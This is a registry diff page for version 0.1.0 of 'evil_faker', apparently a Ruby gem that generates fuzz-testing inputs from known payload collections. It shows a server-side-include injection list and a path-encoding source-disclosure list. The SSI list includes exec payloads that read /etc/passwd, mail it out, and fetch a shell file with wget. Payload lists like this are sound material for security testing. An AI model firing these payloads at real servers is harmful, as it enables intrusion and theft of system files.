evil_faker 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (135) hide show
  1. checksums.yaml +7 -0
  2. data/CHANGELOG.md +62 -0
  3. data/GENERATORS.md +164 -0
  4. data/LICENSE.txt +21 -0
  5. data/NOTICE.md +196 -0
  6. data/README.md +156 -0
  7. data/Rakefile +12 -0
  8. data/lib/evil_faker/base.rb +50 -0
  9. data/lib/evil_faker/data/blns.txt +742 -0
  10. data/lib/evil_faker/data/groups/blns/emoji/emoji.txt +10 -0
  11. data/lib/evil_faker/data/groups/blns/emoji/emoticons.txt +12 -0
  12. data/lib/evil_faker/data/groups/blns/emoji/regional.txt +3 -0
  13. data/lib/evil_faker/data/groups/blns/exploits/cves.txt +4 -0
  14. data/lib/evil_faker/data/groups/blns/exploits/human.txt +1 -0
  15. data/lib/evil_faker/data/groups/blns/exploits/ios.txt +3 -0
  16. data/lib/evil_faker/data/groups/blns/exploits/irc.txt +1 -0
  17. data/lib/evil_faker/data/groups/blns/filenames.txt +14 -0
  18. data/lib/evil_faker/data/groups/blns/injection/command.txt +6 -0
  19. data/lib/evil_faker/data/groups/blns/injection/file_inclusion.txt +2 -0
  20. data/lib/evil_faker/data/groups/blns/injection/interpolation.txt +9 -0
  21. data/lib/evil_faker/data/groups/blns/injection/jinja2.txt +2 -0
  22. data/lib/evil_faker/data/groups/blns/injection/script.txt +236 -0
  23. data/lib/evil_faker/data/groups/blns/injection/server_code.txt +9 -0
  24. data/lib/evil_faker/data/groups/blns/injection/sql.txt +8 -0
  25. data/lib/evil_faker/data/groups/blns/injection/xxe.txt +1 -0
  26. data/lib/evil_faker/data/groups/blns/numeric/numeric.txt +71 -0
  27. data/lib/evil_faker/data/groups/blns/numeric/unicode_numbers.txt +2 -0
  28. data/lib/evil_faker/data/groups/blns/profanity.txt +22 -0
  29. data/lib/evil_faker/data/groups/blns/reserved.txt +19 -0
  30. data/lib/evil_faker/data/groups/blns/rtl.txt +7 -0
  31. data/lib/evil_faker/data/groups/blns/terminal.txt +3 -0
  32. data/lib/evil_faker/data/groups/blns/unicode/accents.txt +4 -0
  33. data/lib/evil_faker/data/groups/blns/unicode/bom.txt +2 -0
  34. data/lib/evil_faker/data/groups/blns/unicode/controls.txt +3 -0
  35. data/lib/evil_faker/data/groups/blns/unicode/font.txt +8 -0
  36. data/lib/evil_faker/data/groups/blns/unicode/lowercase.txt +2 -0
  37. data/lib/evil_faker/data/groups/blns/unicode/quotes.txt +11 -0
  38. data/lib/evil_faker/data/groups/blns/unicode/scripts.txt +2 -0
  39. data/lib/evil_faker/data/groups/blns/unicode/special.txt +4 -0
  40. data/lib/evil_faker/data/groups/blns/unicode/symbols.txt +12 -0
  41. data/lib/evil_faker/data/groups/blns/unicode/trick.txt +5 -0
  42. data/lib/evil_faker/data/groups/blns/unicode/two_byte.txt +10 -0
  43. data/lib/evil_faker/data/groups/blns/unicode/upsidedown.txt +2 -0
  44. data/lib/evil_faker/data/groups/blns/unicode/whitespace.txt +1 -0
  45. data/lib/evil_faker/data/groups/blns/zalgo.txt +5 -0
  46. data/lib/evil_faker/data/groups/fuzzdb/email/invalid.txt +26 -0
  47. data/lib/evil_faker/data/groups/fuzzdb/email/valid.txt +32 -0
  48. data/lib/evil_faker/data/groups/fuzzdb/emoji/emoji.txt +8 -0
  49. data/lib/evil_faker/data/groups/fuzzdb/emoji/emoticons.txt +11 -0
  50. data/lib/evil_faker/data/groups/fuzzdb/emoji/regional.txt +3 -0
  51. data/lib/evil_faker/data/groups/fuzzdb/exploits/ios.txt +1 -0
  52. data/lib/evil_faker/data/groups/fuzzdb/headers/mimetypes.txt +1864 -0
  53. data/lib/evil_faker/data/groups/fuzzdb/headers/protocol.txt +357 -0
  54. data/lib/evil_faker/data/groups/fuzzdb/injection/command.txt +1115 -0
  55. data/lib/evil_faker/data/groups/fuzzdb/injection/directory_traversal.txt +536 -0
  56. data/lib/evil_faker/data/groups/fuzzdb/injection/file_inclusion.txt +906 -0
  57. data/lib/evil_faker/data/groups/fuzzdb/injection/file_upload_bypass.txt +371 -0
  58. data/lib/evil_faker/data/groups/fuzzdb/injection/format_strings.txt +67 -0
  59. data/lib/evil_faker/data/groups/fuzzdb/injection/generic.txt +584 -0
  60. data/lib/evil_faker/data/groups/fuzzdb/injection/integer_overflow.txt +12 -0
  61. data/lib/evil_faker/data/groups/fuzzdb/injection/json.txt +89 -0
  62. data/lib/evil_faker/data/groups/fuzzdb/injection/ldap.txt +35 -0
  63. data/lib/evil_faker/data/groups/fuzzdb/injection/magic_hashes.txt +24 -0
  64. data/lib/evil_faker/data/groups/fuzzdb/injection/nosql.txt +17 -0
  65. data/lib/evil_faker/data/groups/fuzzdb/injection/open_redirect.txt +37 -0
  66. data/lib/evil_faker/data/groups/fuzzdb/injection/rfi.txt +2241 -0
  67. data/lib/evil_faker/data/groups/fuzzdb/injection/script.txt +930 -0
  68. data/lib/evil_faker/data/groups/fuzzdb/injection/server_side_include.txt +78 -0
  69. data/lib/evil_faker/data/groups/fuzzdb/injection/source_disclosure.txt +18 -0
  70. data/lib/evil_faker/data/groups/fuzzdb/injection/sql.txt +661 -0
  71. data/lib/evil_faker/data/groups/fuzzdb/injection/ssrf.txt +56 -0
  72. data/lib/evil_faker/data/groups/fuzzdb/injection/type_confusion.txt +329 -0
  73. data/lib/evil_faker/data/groups/fuzzdb/injection/xpath.txt +13 -0
  74. data/lib/evil_faker/data/groups/fuzzdb/injection/xxe.txt +65 -0
  75. data/lib/evil_faker/data/groups/fuzzdb/routes/debug_params.txt +157 -0
  76. data/lib/evil_faker/data/groups/fuzzdb/routes/directory_indexing.txt +15 -0
  77. data/lib/evil_faker/data/groups/fuzzdb/routes/local_paths.txt +26 -0
  78. data/lib/evil_faker/data/groups/fuzzdb/rtl.txt +5 -0
  79. data/lib/evil_faker/data/groups/fuzzdb/terminal.txt +3 -0
  80. data/lib/evil_faker/data/groups/fuzzdb/unicode/bad_chars.txt +15 -0
  81. data/lib/evil_faker/data/groups/fuzzdb/unicode/special.txt +31 -0
  82. data/lib/evil_faker/data/groups/fuzzdb/unicode/trick.txt +5 -0
  83. data/lib/evil_faker/data/groups/fuzzdb/unicode/two_byte.txt +9 -0
  84. data/lib/evil_faker/data/groups/fuzzdb/unicode/upsidedown.txt +2 -0
  85. data/lib/evil_faker/data/groups/intruder_payloads/filenames.txt +124 -0
  86. data/lib/evil_faker/data/groups/intruder_payloads/injection/command.txt +445 -0
  87. data/lib/evil_faker/data/groups/intruder_payloads/injection/directory_traversal.txt +2578 -0
  88. data/lib/evil_faker/data/groups/intruder_payloads/injection/file_inclusion.txt +698 -0
  89. data/lib/evil_faker/data/groups/intruder_payloads/injection/generic.txt +1401 -0
  90. data/lib/evil_faker/data/groups/intruder_payloads/injection/overflow.txt +36 -0
  91. data/lib/evil_faker/data/groups/intruder_payloads/injection/script.txt +61 -0
  92. data/lib/evil_faker/data/groups/intruder_payloads/injection/server_side_include.txt +18 -0
  93. data/lib/evil_faker/data/groups/intruder_payloads/injection/sql.txt +753 -0
  94. data/lib/evil_faker/data/groups/intruder_payloads/injection/xxe.txt +66 -0
  95. data/lib/evil_faker/data/groups/intruder_payloads/unicode/bad_chars.txt +1 -0
  96. data/lib/evil_faker/data/groups/payloads_all_the_things/headers/cache_deception.txt +1125 -0
  97. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/command.txt +496 -0
  98. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/directory_traversal.txt +22607 -0
  99. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/file_inclusion.txt +4787 -0
  100. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ldap.txt +60 -0
  101. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/nosql.txt +26 -0
  102. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/open_redirect.txt +305 -0
  103. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/script.txt +2165 -0
  104. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/sql.txt +1354 -0
  105. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ssti.txt +105 -0
  106. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/xxe.txt +102 -0
  107. data/lib/evil_faker/data/groups/payloads_all_the_things/routes/admin_interfaces.txt +52 -0
  108. data/lib/evil_faker/groups/email.rb +11 -0
  109. data/lib/evil_faker/groups/emoji.rb +12 -0
  110. data/lib/evil_faker/groups/exploits.rb +13 -0
  111. data/lib/evil_faker/groups/filenames.rb +8 -0
  112. data/lib/evil_faker/groups/headers.rb +12 -0
  113. data/lib/evil_faker/groups/injection.rb +35 -0
  114. data/lib/evil_faker/groups/numeric.rb +11 -0
  115. data/lib/evil_faker/groups/profanity.rb +8 -0
  116. data/lib/evil_faker/groups/reserved.rb +8 -0
  117. data/lib/evil_faker/groups/routes.rb +13 -0
  118. data/lib/evil_faker/groups/rtl.rb +8 -0
  119. data/lib/evil_faker/groups/terminal.rb +8 -0
  120. data/lib/evil_faker/groups/unicode.rb +23 -0
  121. data/lib/evil_faker/groups/zalgo.rb +8 -0
  122. data/lib/evil_faker/source_base.rb +30 -0
  123. data/lib/evil_faker/sources/blns.rb +8 -0
  124. data/lib/evil_faker/sources/fuzzdb.rb +8 -0
  125. data/lib/evil_faker/sources/intruder_payloads.rb +8 -0
  126. data/lib/evil_faker/sources/payloads_all_the_things.rb +8 -0
  127. data/lib/evil_faker/version.rb +5 -0
  128. data/lib/evil_faker.rb +13 -0
  129. data/scripts/blns_build_corpus.rb +159 -0
  130. data/scripts/fuzzdb_build_corpus.rb +166 -0
  131. data/scripts/generate_namespaces.rb +87 -0
  132. data/scripts/intruder_payloads_build_corpus.rb +112 -0
  133. data/scripts/payloads_all_the_things_build_corpus.rb +74 -0
  134. data/sig/evil_faker.rbs +4 -0
  135. metadata +181 -0
data/lib/evil_faker/data/groups/fuzzdb/injection/server_side_include.txt ADDED
@@ -0,0 +1,78 @@
1
+ <!--#config errmsg="File not found, informs users and password"-->
2
+ <!--#config timefmt="A %B %d %Y %r"-->
3
+ <!--#echo var="auth_type" -->
4
+ <!--#echo var="content_length" -->
5
+ <!--#echo var="content_type" -->
6
+ <!--#echo var="date_gmt" -->
7
+ <!--#echo var="date_local" -->
8
+ <!--#echo var="DATE_LOCAL" -->
9
+ <!--#echo var="document_name" -->
10
+ <!--#echo var="DOCUMENT_NAME" -->
11
+ <!--#echo var="document_root" -->
12
+ <!--#echo var="document_uri" -->
13
+ <!--#echo var="DOCUMENT_URI" -->
14
+ <!--#echo var="forwarded" -->
15
+ <!--#echo var="from" -->
16
+ <!--#echo var="gateway_interface" -->
17
+ <!--#echo var="http_accept" -->
18
+ <!--#echo var="http_accept_charset" -->
19
+ <!--#echo var="http_accept_encoding" -->
20
+ <!--#echo var="http_accept_language" -->
21
+ <!--#echo var="http_client_ip" -->
22
+ <!--#echo var="http_connection" -->
23
+ <!--#echo var="http_cookie" -->
24
+ <!--#echo var="http_form" -->
25
+ <!--#echo var="http_host" -->
26
+ <!--#echo var="http_referer" -->
27
+ <!--#echo var="http_ua_cpu" -->
28
+ <!--#echo var="http_ua_os" -->
29
+ <!--#echo var="http_user_agent" -->
30
+ <!--#echo var="last_modified" -->
31
+ <!--#echo var="netsite_root" -->
32
+ <!--#echo var="page_count" -->
33
+ <!--#echo var="path" -->
34
+ <!--#echo var="path_info" -->
35
+ <!--#echo var="path_info_translated" -->
36
+ <!--#echo var="path_translated" -->
37
+ <!--#echo var="query_string" -->
38
+ <!--#echo var="query_string_unescaped" -->
39
+ <!--#echo var="remote_addr" -->
40
+ <!--#echo var="remote_host" -->
41
+ <!--#echo var="remote_ident" -->
42
+ <!--#echo var="remote_port" -->
43
+ <!--#echo var="remote_user" -->
44
+ <!--#echo var="request_method" -->
45
+ <!--#echo var="request_uri" -->
46
+ <!--#echo var="script_filename" -->
47
+ <!--#echo var="script_name" -->
48
+ <!--#echo var="script_uri" -->
49
+ <!--#echo var="script_url" -->
50
+ <!--#echo var="server_addr" -->
51
+ <!--#echo var="server_admin" -->
52
+ <!--#echo var="server_name -->
53
+ <!--#echo var="server_port" -->
54
+ <!--#echo var="server_protocol" -->
55
+ <!--#echo var="server_software" -->
56
+ <!--#echo var="site_htmlroot" -->
57
+ <!--#echo var="total_hits" -->
58
+ <!--#echo var="tz" -->
59
+ <!--#echo var="unique_id" -->
60
+ <!--#echo var="user_name" -->
61
+ <!--#exec cmd="/bin/ls /" -->
62
+ <!--#exec cmd="/bin/ls /" --><br/>
63
+ <!--#exec cmd="cat /etc/passwd" --><br/>
64
+ <!--#exec cmd="cd C:\WINDOWS\System32">
65
+ <!--#exec cmd="dir" -->
66
+ <!--#exec cmd="find / -name *.* -print" --><br/>
67
+ <!--#exec cmd="ls" -->
68
+ <!--#exec cmd="mail email@dom.tld <mailto:email@dom.tld> < cat /etc/passwd" --><br/>
69
+ <!--#exec cmd="wget http://website.com/dir/shell.txt" -->
70
+ <!--#exec cmd="whoami"-->
71
+ <!--#flastmod virtual="echo.html" -->
72
+ <!--#fsize file="ssi.shtml" -->
73
+ <!--#include file=?UUUUUUUU...UU?-->
74
+ <!--#printenv -->
75
+ <pre><!--#echo var="DATE_LOCAL" --> </pre>
76
+ <pre><!--#exec cmd="dir" --></pre>
77
+ <pre><!--#exec cmd="ls" --></pre>
78
+ <pre><!--#exec cmd="whoami"--></pre>
data/lib/evil_faker/data/groups/fuzzdb/injection/source_disclosure.txt ADDED
@@ -0,0 +1,18 @@
1
+ ..%255c
2
+ .%5c../..%5c
3
+ /..%c0%9v../
4
+ /..%c0%af../
5
+ /..%255c..%255c
6
+ %70
7
+ .%E2%73%70
8
+ %2e0
9
+ %2e
10
+ .
11
+ \
12
+ ?*
13
+ %20
14
+ %00
15
+ %2f
16
+ %5c
17
+ +.htr
18
+ ::DATA$